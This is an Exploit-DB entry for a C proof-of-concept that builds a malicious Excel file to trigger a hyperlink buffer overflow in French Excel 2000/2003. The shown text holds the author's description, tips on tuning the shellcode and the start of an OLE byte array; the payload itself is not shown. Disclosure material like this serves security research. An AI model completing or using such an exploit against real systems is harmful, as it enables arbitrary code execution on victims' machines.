Exploit-DB #1986
Description: Microsoft Excel 2000/2003 (French) - Hlink Local Buffer Overflow
Type: local
Platform: windows
Date: 2006-07-06
Author: NSRocket

Exploit:
/*
*************************************************************************
*                                                                       *
*                          -/\_NSRocket_/\-                             *
*                                                                       *
*                              presents                                 *
*                                                                       *
*      Microsoft Excel 2000 and 2003 exploit for WinXP SP2 french       *
*                  (with shellcode source integrated)                   *
*                                                                       *
*************************************************************************
*                                                                       *
* Description:                                                          *
*   Microsoft Excel is prone to a remote code execution issue           *
*   which may be triggered when a malformed Excel document is opened.   *
*   The issue is due to an error in Excel while handling malformed URL  *
*   strings. there may be other ways to trigger this vulnerability,     *
*   successful exploitation could allow an attacker to execute          *
*   arbitrary code with the privileges of the user running Excel.       *
*                                                                       *
*   Code execution is dependent upon certain factors including the      *
*   overflow condition, the MS Excel version and the host OS and SP.    *
*   If you cannot get it to work, attach it with the debugger check     *
*   the stack layout and the rest is on your imagination. :) :)         *
*                                                                       *
* Advisories:                                                           *
*   http://www.microsoft.com/technet/security/advisory/921365.mspx      *
*   https://www.securityfocus.com/bid/18422/                             *
*                                                                       *
* Disclaimer:                                                           *
*   This Proof of concept code is for educational purposes only.        *
*   Please do not use it against any system without authorization...    *
*                                                                       *
*************************************************************************
*                                                                       *
* Thanks to Naveed Afzal who inspired me ;) with his exploit for Excel  *
* 2000 on WinXP SP1 and Win2000 SP4.                                    *
*                                                                       *
* Shellcode launches "mspaint.exe" to validate exploit and terminates   *
* Excel process. You can modify it as you want. Don't forget that it    *
* must not contain any null byte when it will be assembled : use your   *
* debugger to see opcodes generated from your shellcode source or check *
* the .xls file generated with an hex editor.                           *
* The generated file is modifiable as you wish with Excel without       *
* affect the exploit result. The only thing that you must not change is *
* the link associated with the word "LINK". However, the word "LINK"    *
* can be changed.                                                       *
*                                                                       *
* "__asm" keyword in the "InsertShellcode" function works may be not    *
* with your compiler. Replace it by the good one in this case (see your *
* compiler documentation :)                                             *
*                                                                       *
*                 any question goes to john2jenny@hotmail.com  ...bye ! *
*                                                                       *
*************************************************************************
*/

#include <string.h>
#include <fstream.h>
#include <stdio.h>
#include <malloc.h>


//excel sheet formatting data bytes
unsigned char stream1[] = {
    0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x03, 0x00, 0xFE, 0xFF, 0x09, 0x00, 
    0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
    0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 
    0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,